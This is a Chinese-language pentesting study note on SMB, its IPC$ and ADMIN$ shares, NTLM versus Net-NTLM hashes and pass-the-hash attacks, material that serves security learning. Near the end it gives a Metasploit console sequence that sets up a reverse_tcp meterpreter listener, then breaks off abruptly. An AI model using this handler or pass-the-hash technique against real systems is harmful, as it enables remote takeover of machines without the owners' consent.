知识点:
什么是SMB
服务器消息块(SMB)协议是一种网络文件共享协议,在Microsoft Windows中实现称为Microsoft SMB协议。SMB允许您共享文件,磁盘,目录,打印机等。在Windows 2000之前,SMB过去通过TCP / IP端口139与NetBIOS一起运行。因此,建立SMB连接需要NetBIOS会话。
从Windows 2000及更高版本开始,SMB可以使用端口445在TCP / IP
上运行,而无需运行NetBIOS
会话。由于SMB提供了多种功能,例如操作文件,共享,消息传递,IPC等,它在内网枚举和内网探索阶段是对黑客最有吸引力的服务之一。
另一方面,Samba是SMB的UNIX实现。Samba用于为客户端提供通过SMB协议访问UNIX目录和文件的能力,如果他们与Windows服务器通信则完全相同。Samba现在可以在多个平台上运行,是大多数Linux发行版的重要组成部分。
经常看到两个特殊共享:IPC$
和ADMIN$
共享。ADMIN$
共享基本上可以被认为是路径C:Windows
的符号链接。[3] IPC$
略有不同。它不直接映射到文件系统,而是提供一个接口,通过该接口可以执行远程过程调用(RPC)。
NTLM hash 和 Net-NTLM hash
-
NTLM(V1/V2)
的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行Pass the Hash
攻击 -
Net-NTLM(V1/V2)
的hash值是基于用户密码的NTLM hash计算出来的,用于网络中的认证,步骤如下:- 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash
- 服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 明文返回客户端。使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1
- 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器
- 服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功
在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash。
NTLM和SMB的关系
SMB的认证可以基于NTLM协议或者kerberos协议,前者使用了hash,后者使用了ticket,是构成SMB的PtH
和PtT
攻击的基础。
NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定,可以是SMB,也可以是TCP,亦或HTTP。
从攻击角度来看
- 可以利用NTLM哈希值进行“哈希传递”攻击
- 无法利用Net-NTLM哈希值来进行“哈希传递”攻击
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.202.181
lhost => 10.10.202.181
msf exploit(multi/handler) > set autorunscript post/windows/manage/migrate
autorunscript => post/windows/manage/migrate
msf exploit(multi/handler) > exploit
在攻击机器上看下:
参考:https://www.jianshu.com/p/c7d8e7d9c03c